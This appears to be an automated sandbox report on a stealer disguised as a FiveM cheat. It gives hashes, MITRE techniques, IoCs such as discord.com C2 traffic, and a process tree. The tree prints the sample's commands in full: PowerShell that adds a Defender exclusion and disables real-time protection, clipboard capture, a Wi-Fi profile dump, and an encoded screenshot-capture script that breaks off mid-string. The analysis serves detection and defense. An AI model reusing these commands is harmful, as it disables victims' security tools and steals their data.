aa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fivem W00fer/2} Built.exe
Size 7.6MB
Sample261024-xdvrqabx4v
SHA256 aa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638
MD5 d88ce7357a239ada102b6d161379673f
SHA1 695e92f476c02bebcb573bbdb5f859556aa16153
SHA512 4cea591a06278a3544966d31376ea28f0eeb6c1223f176f792081af76436a02f2ab366936ff8f45bc12070490f5e4b350cdf861d5240b8a4d12752c415677d5a
SSDEEP 196608:vWuDh6Q5wfI9jUCBB7m+mKOY7rXrZusooDmhfvsbnTNWs:pFoIHL7HmBYXrYoaUN7
TLSH
T1738633466A8044FBF977A43DC9C14A1FCA327E215760E9E74374876A4EA36F04C7A327
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4884	powershell.exe
4196	powershell.exe
4720	powershell.exe
1860	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4884	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3272	cmd.exe
1180	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4304	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe
4968	2} Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
11	discord.com
12	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
9	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4624	tasklist.exe
3020	tasklist.exe
4184	tasklist.exe

UPX packed file 54 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/0x000700000002439f-21.dat	upx
behavioral3/memory/4968-25-0x00007FFA4EC90000-0x00007FFA4F2F5000-memory.dmp	upx
behavioral3/files/0x0007000000024392-27.dat	upx
behavioral3/files/0x000700000002439d-30.dat	upx
behavioral3/files/0x000700000002439e-35.dat	upx
behavioral3/files/0x000700000002439c-34.dat	upx
behavioral3/memory/4968-32-0x00007FFA58A70000-0x00007FFA58A7F000-memory.dmp	upx
behavioral3/memory/4968-31-0x00007FFA4FC90000-0x00007FFA4FCB7000-memory.dmp	upx
behavioral3/files/0x0007000000024391-49.dat	upx
behavioral3/files/0x0007000000024395-50.dat	upx
behavioral3/memory/4968-52-0x00007FFA4F840000-0x00007FFA4F86B000-memory.dmp	upx
behavioral3/memory/4968-51-0x00007FFA4F870000-0x00007FFA4F889000-memory.dmp	upx
behavioral3/files/0x0007000000024399-48.dat	upx
behavioral3/files/0x0007000000024398-47.dat	upx
behavioral3/files/0x0007000000024397-46.dat	upx
behavioral3/files/0x0007000000024396-45.dat	upx
behavioral3/files/0x0007000000024394-43.dat	upx
behavioral3/files/0x0007000000024393-42.dat	upx
behavioral3/files/0x00070000000243a4-40.dat	upx
behavioral3/files/0x00070000000243a3-39.dat	upx
behavioral3/files/0x00070000000243a2-38.dat	upx
behavioral3/memory/4968-60-0x00007FFA425F0000-0x00007FFA4276F000-memory.dmp	upx
behavioral3/memory/4968-59-0x00007FFA4F770000-0x00007FFA4F795000-memory.dmp	upx
behavioral3/memory/4968-63-0x00007FFA4F750000-0x00007FFA4F769000-memory.dmp	upx
behavioral3/memory/4968-68-0x00007FFA420B0000-0x00007FFA425E3000-memory.dmp	upx
behavioral3/memory/4968-71-0x00007FFA48400000-0x00007FFA48433000-memory.dmp	upx
behavioral3/memory/4968-78-0x00007FFA419D0000-0x00007FFA41A83000-memory.dmp	upx
behavioral3/memory/4968-77-0x00007FFA4FC90000-0x00007FFA4FCB7000-memory.dmp	upx
behavioral3/memory/4968-76-0x00007FFA4FAE0000-0x00007FFA4FAED000-memory.dmp	upx
behavioral3/memory/4968-73-0x00007FFA4F730000-0x00007FFA4F744000-memory.dmp	upx
behavioral3/memory/4968-70-0x00007FFA50E50000-0x00007FFA50E5D000-memory.dmp	upx
behavioral3/memory/4968-69-0x00007FFA41FE0000-0x00007FFA420AE000-memory.dmp	upx
behavioral3/memory/4968-67-0x00007FFA4EC90000-0x00007FFA4F2F5000-memory.dmp	upx
behavioral3/memory/4968-263-0x00007FFA4F770000-0x00007FFA4F795000-memory.dmp	upx
behavioral3/memory/4968-274-0x00007FFA425F0000-0x00007FFA4276F000-memory.dmp	upx
behavioral3/memory/4968-275-0x00007FFA420B0000-0x00007FFA425E3000-memory.dmp	upx
behavioral3/memory/4968-281-0x00007FFA41FE0000-0x00007FFA420AE000-memory.dmp	upx
behavioral3/memory/4968-292-0x00007FFA48400000-0x00007FFA48433000-memory.dmp	upx
behavioral3/memory/4968-296-0x00007FFA4EC90000-0x00007FFA4F2F5000-memory.dmp	upx
behavioral3/memory/4968-338-0x00007FFA420B0000-0x00007FFA425E3000-memory.dmp	upx
behavioral3/memory/4968-353-0x00007FFA41FE0000-0x00007FFA420AE000-memory.dmp	upx
behavioral3/memory/4968-352-0x00007FFA419D0000-0x00007FFA41A83000-memory.dmp	upx
behavioral3/memory/4968-351-0x00007FFA48400000-0x00007FFA48433000-memory.dmp	upx
behavioral3/memory/4968-350-0x00007FFA4F750000-0x00007FFA4F769000-memory.dmp	upx
behavioral3/memory/4968-349-0x00007FFA50E50000-0x00007FFA50E5D000-memory.dmp	upx
behavioral3/memory/4968-348-0x00007FFA4F770000-0x00007FFA4F795000-memory.dmp	upx
behavioral3/memory/4968-347-0x00007FFA4F840000-0x00007FFA4F86B000-memory.dmp	upx
behavioral3/memory/4968-346-0x00007FFA4F870000-0x00007FFA4F889000-memory.dmp	upx
behavioral3/memory/4968-345-0x00007FFA425F0000-0x00007FFA4276F000-memory.dmp	upx
behavioral3/memory/4968-344-0x00007FFA4FC90000-0x00007FFA4FCB7000-memory.dmp	upx
behavioral3/memory/4968-341-0x00007FFA4FAE0000-0x00007FFA4FAED000-memory.dmp	upx
behavioral3/memory/4968-340-0x00007FFA4F730000-0x00007FFA4F744000-memory.dmp	upx
behavioral3/memory/4968-343-0x00007FFA58A70000-0x00007FFA58A7F000-memory.dmp	upx
behavioral3/memory/4968-328-0x00007FFA4EC90000-0x00007FFA4F2F5000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	2} Built.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
3440	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3244	cmd.exe
4236	cmd.exe
3932	cmd.exe
1692	cmd.exe
2864	cmd.exe
1020	cmd.exe
1612	cmd.exe
640	cmd.exe
4176	cmd.exe
1040	cmd.exe
4488	cmd.exe
404	cmd.exe
1696	cmd.exe
3268	cmd.exe
3848	cmd.exe
3248	cmd.exe
4216	cmd.exe
2848	cmd.exe
4464	cmd.exe
4352	cmd.exe
2800	cmd.exe
2424	cmd.exe
4420	cmd.exe
928	cmd.exe
3488	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2} Built.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2} Built.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3932	cmd.exe
4576	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3716	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2104	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4884	powershell.exe
1860	powershell.exe
1860	powershell.exe
1860	powershell.exe
4884	powershell.exe
4884	powershell.exe
1180	powershell.exe
1180	powershell.exe
4404	powershell.exe
4404	powershell.exe
1180	powershell.exe
4404	powershell.exe
4196	powershell.exe
4196	powershell.exe
3748	powershell.exe
3748	powershell.exe
4720	powershell.exe
4720	powershell.exe
3276	powershell.exe
3276	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	3020	tasklist.exe
Token: SeDebugPrivilege	4624	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5104	WMIC.exe
Token: SeSecurityPrivilege	5104	WMIC.exe
Token: SeTakeOwnershipPrivilege	5104	WMIC.exe
Token: SeLoadDriverPrivilege	5104	WMIC.exe
Token: SeSystemProfilePrivilege	5104	WMIC.exe
Token: SeSystemtimePrivilege	5104	WMIC.exe
Token: SeProfSingleProcessPrivilege	5104	WMIC.exe
Token: SeIncBasePriorityPrivilege	5104	WMIC.exe
Token: SeCreatePagefilePrivilege	5104	WMIC.exe
Token: SeBackupPrivilege	5104	WMIC.exe
Token: SeRestorePrivilege	5104	WMIC.exe
Token: SeShutdownPrivilege	5104	WMIC.exe
Token: SeDebugPrivilege	5104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5104	WMIC.exe
Token: SeRemoteShutdownPrivilege	5104	WMIC.exe
Token: SeUndockPrivilege	5104	WMIC.exe
Token: SeManageVolumePrivilege	5104	WMIC.exe
Token: 33	5104	WMIC.exe
Token: 34	5104	WMIC.exe
Token: 35	5104	WMIC.exe
Token: 36	5104	WMIC.exe
Token: SeDebugPrivilege	4184	tasklist.exe
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeIncreaseQuotaPrivilege	5104	WMIC.exe
Token: SeSecurityPrivilege	5104	WMIC.exe
Token: SeTakeOwnershipPrivilege	5104	WMIC.exe
Token: SeLoadDriverPrivilege	5104	WMIC.exe
Token: SeSystemProfilePrivilege	5104	WMIC.exe
Token: SeSystemtimePrivilege	5104	WMIC.exe
Token: SeProfSingleProcessPrivilege	5104	WMIC.exe
Token: SeIncBasePriorityPrivilege	5104	WMIC.exe
Token: SeCreatePagefilePrivilege	5104	WMIC.exe
Token: SeBackupPrivilege	5104	WMIC.exe
Token: SeRestorePrivilege	5104	WMIC.exe
Token: SeShutdownPrivilege	5104	WMIC.exe
Token: SeDebugPrivilege	5104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5104	WMIC.exe
Token: SeRemoteShutdownPrivilege	5104	WMIC.exe
Token: SeUndockPrivilege	5104	WMIC.exe
Token: SeManageVolumePrivilege	5104	WMIC.exe
Token: 33	5104	WMIC.exe
Token: 34	5104	WMIC.exe
Token: 35	5104	WMIC.exe
Token: 36	5104	WMIC.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeIncreaseQuotaPrivilege	2772	WMIC.exe
Token: SeSecurityPrivilege	2772	WMIC.exe
Token: SeTakeOwnershipPrivilege	2772	WMIC.exe
Token: SeLoadDriverPrivilege	2772	WMIC.exe
Token: SeSystemProfilePrivilege	2772	WMIC.exe
Token: SeSystemtimePrivilege	2772	WMIC.exe
Token: SeProfSingleProcessPrivilege	2772	WMIC.exe
Token: SeIncBasePriorityPrivilege	2772	WMIC.exe
Token: SeCreatePagefilePrivilege	2772	WMIC.exe
Token: SeBackupPrivilege	2772	WMIC.exe
Token: SeRestorePrivilege	2772	WMIC.exe
Token: SeShutdownPrivilege	2772	WMIC.exe
Token: SeDebugPrivilege	2772	WMIC.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 3376 wrote to memory of 4968	3376	2} Built.exe	84
PID 4968 wrote to memory of 3848	4968	2} Built.exe	85
PID 4968 wrote to memory of 3268	4968	2} Built.exe	86
PID 4968 wrote to memory of 4236	4968	2} Built.exe	87
PID 4968 wrote to memory of 4464	4968	2} Built.exe	91
PID 4968 wrote to memory of 1040	4968	2} Built.exe	92
PID 3848 wrote to memory of 1860	3848	cmd.exe	95
PID 4236 wrote to memory of 1124	4236	cmd.exe	96
PID 3268 wrote to memory of 4884	3268	cmd.exe	97
PID 4968 wrote to memory of 4352	4968	2} Built.exe	98
PID 4464 wrote to memory of 3020	4464	cmd.exe	100
PID 1040 wrote to memory of 4624	1040	cmd.exe	101
PID 4968 wrote to memory of 3272	4968	2} Built.exe	102
PID 4968 wrote to memory of 2800	4968	2} Built.exe	104
PID 4968 wrote to memory of 2864	4968	2} Built.exe	105
PID 4968 wrote to memory of 3932	4968	2} Built.exe	108
PID 4968 wrote to memory of 1692	4968	2} Built.exe	109
PID 4968 wrote to memory of 448	4968	2} Built.exe	112
PID 4352 wrote to memory of 5104	4352	cmd.exe	115
PID 3272 wrote to memory of 1180	3272	cmd.exe	116
PID 3932 wrote to memory of 4576	3932	cmd.exe	141
PID 2800 wrote to memory of 4184	2800	cmd.exe	118
PID 2864 wrote to memory of 1596	2864	cmd.exe	119
PID 1692 wrote to memory of 2104	1692	cmd.exe	120
PID 448 wrote to memory of 4404	448	cmd.exe	121
PID 4968 wrote to memory of 3248	4968	2} Built.exe	122
PID 3248 wrote to memory of 884	3248	cmd.exe	124
PID 4968 wrote to memory of 2424	4968	2} Built.exe	125
PID 2424 wrote to memory of 2552	2424	cmd.exe	127
PID 4968 wrote to memory of 4420	4968	2} Built.exe	128
PID 4404 wrote to memory of 4956	4404	powershell.exe	130
PID 4420 wrote to memory of 2120	4420	cmd.exe	131
PID 4968 wrote to memory of 4488	4968	2} Built.exe	132
PID 4488 wrote to memory of 4396	4488	cmd.exe	175
PID 4968 wrote to memory of 1020	4968	2} Built.exe	135
PID 1020 wrote to memory of 3772	1020	cmd.exe	137
PID 4956 wrote to memory of 2632	4956	csc.exe	138
PID 4968 wrote to memory of 1612	4968	2} Built.exe	140
PID 1612 wrote to memory of 4196	1612	cmd.exe	142
PID 4968 wrote to memory of 4216	4968	2} Built.exe	143
PID 4216 wrote to memory of 3748	4216	cmd.exe	145
PID 4968 wrote to memory of 928	4968	2} Built.exe	148
PID 928 wrote to memory of 2416	928	cmd.exe	150
PID 4968 wrote to memory of 2848	4968	2} Built.exe	152
PID 2848 wrote to memory of 4304	2848	cmd.exe	154
PID 4968 wrote to memory of 640	4968	2} Built.exe	155
PID 640 wrote to memory of 2772	640	cmd.exe	157
PID 4968 wrote to memory of 4176	4968	2} Built.exe	158
PID 4176 wrote to memory of 1208	4176	cmd.exe	160
PID 4968 wrote to memory of 3488	4968	2} Built.exe	161
PID 3488 wrote to memory of 3440	3488	cmd.exe	163
PID 4968 wrote to memory of 404	4968	2} Built.exe	165
PID 404 wrote to memory of 4720	404	cmd.exe	167
PID 4968 wrote to memory of 3244	4968	2} Built.exe	168
PID 3244 wrote to memory of 3716	3244	cmd.exe	170
PID 4968 wrote to memory of 1696	4968	2} Built.exe	171
PID 1696 wrote to memory of 3276	1696	cmd.exe	173

C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe
"C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Hile kullanıma hazır!!', 0, 'Satans Cheat', 48+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Hile kullanıma hazır!!', 0, 'Satans Cheat', 48+16);close()"
      4⤵
      PID:1124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAb